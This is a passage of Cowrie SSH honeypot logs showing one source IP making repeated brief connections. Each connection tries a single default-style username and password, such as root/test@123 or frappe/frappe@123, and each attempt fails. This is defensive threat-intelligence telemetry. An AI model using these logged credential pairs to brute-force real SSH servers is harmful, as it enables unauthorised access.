t-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:02.688520Z","src_ip":"43.134.24.11","session":"275cd5b29677","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:03.455353Z","src_ip":"43.134.24.11","session":"275cd5b29677","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:04.705524Z","src_ip":"43.134.24.11","session":"275cd5b29677","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":1806,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0f8d89e4eff","protocol":"ssh","message":"New connection: 43.134.24.11:1806 (10.17.0.5:22) [session: c0f8d89e4eff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:08.132957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:08.141415Z","src_ip":"43.134.24.11","session":"c0f8d89e4eff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:08.391418Z","src_ip":"43.134.24.11","session":"c0f8d89e4eff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:09.139626Z","src_ip":"43.134.24.11","session":"c0f8d89e4eff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:10.418336Z","src_ip":"43.134.24.11","session":"c0f8d89e4eff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":12455,"dst_ip":"10.17.0.5","dst_port":22,"session":"818cb92b303a","protocol":"ssh","message":"New connection: 43.134.24.11:12455 (10.17.0.5:22) [session: 818cb92b303a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:13.744485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:13.749344Z","src_ip":"43.134.24.11","session":"818cb92b303a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:13.995743Z","src_ip":"43.134.24.11","session":"818cb92b303a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:14.735953Z","src_ip":"43.134.24.11","session":"818cb92b303a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:15.984903Z","src_ip":"43.134.24.11","session":"818cb92b303a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":33768,"dst_ip":"10.17.0.5","dst_port":22,"session":"16364a0d7747","protocol":"ssh","message":"New connection: 43.134.24.11:33768 (10.17.0.5:22) [session: 16364a0d7747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:19.583831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:19.588713Z","src_ip":"43.134.24.11","session":"16364a0d7747","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:19.829528Z","src_ip":"43.134.24.11","session":"16364a0d7747","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:20.543306Z","src_ip":"43.134.24.11","session":"16364a0d7747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:21.784435Z","src_ip":"43.134.24.11","session":"16364a0d7747","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":7287,"dst_ip":"10.17.0.5","dst_port":22,"session":"c25d7d87c194","protocol":"ssh","message":"New connection: 43.134.24.11:7287 (10.17.0.5:22) [session: c25d7d87c194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:25.272257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:25.277082Z","src_ip":"43.134.24.11","session":"c25d7d87c194","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:25.515141Z","src_ip":"43.134.24.11","session":"c25d7d87c194","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:26.243481Z","src_ip":"43.134.24.11","session":"c25d7d87c194","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:27.484067Z","src_ip":"43.134.24.11","session":"c25d7d87c194","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":7288,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e110989ed5c","protocol":"ssh","message":"New connection: 43.134.24.11:7288 (10.17.0.5:22) [session: 2e110989ed5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:30.966803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:30.971638Z","src_ip":"43.134.24.11","session":"2e110989ed5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:31.263255Z","src_ip":"43.134.24.11","session":"2e110989ed5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:32.008599Z","src_ip":"43.134.24.11","session":"2e110989ed5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:33.257307Z","src_ip":"43.134.24.11","session":"2e110989ed5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":49470,"dst_ip":"10.17.0.5","dst_port":22,"session":"239a6588f543","protocol":"ssh","message":"New connection: 43.134.24.11:49470 (10.17.0.5:22) [session: 239a6588f543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:36.722651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:36.726856Z","src_ip":"43.134.24.11","session":"239a6588f543","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:36.973194Z","src_ip":"43.134.24.11","session":"239a6588f543","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:37.712091Z","src_ip":"43.134.24.11","session":"239a6588f543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:38.961525Z","src_ip":"43.134.24.11","session":"239a6588f543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":12456,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9a3e6293d48","protocol":"ssh","message":"New connection: 43.134.24.11:12456 (10.17.0.5:22) [session: e9a3e6293d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:42.509329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:42.515141Z","src_ip":"43.134.24.11","session":"e9a3e6293d48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:42.752849Z","src_ip":"43.134.24.11","session":"e9a3e6293d48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:43.466253Z","src_ip":"43.134.24.11","session":"e9a3e6293d48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:44.706743Z","src_ip":"43.134.24.11","session":"e9a3e6293d48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":49471,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8f891a3382c","protocol":"ssh","message":"New connection: 43.134.24.11:49471 (10.17.0.5:22) [session: f8f891a3382c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:48.211885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:48.216314Z","src_ip":"43.134.24.11","session":"f8f891a3382c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:48.462914Z","src_ip":"43.134.24.11","session":"f8f891a3382c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:49.224091Z","src_ip":"43.134.24.11","session":"f8f891a3382c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:50.473411Z","src_ip":"43.134.24.11","session":"f8f891a3382c","protocol":"ssh"}
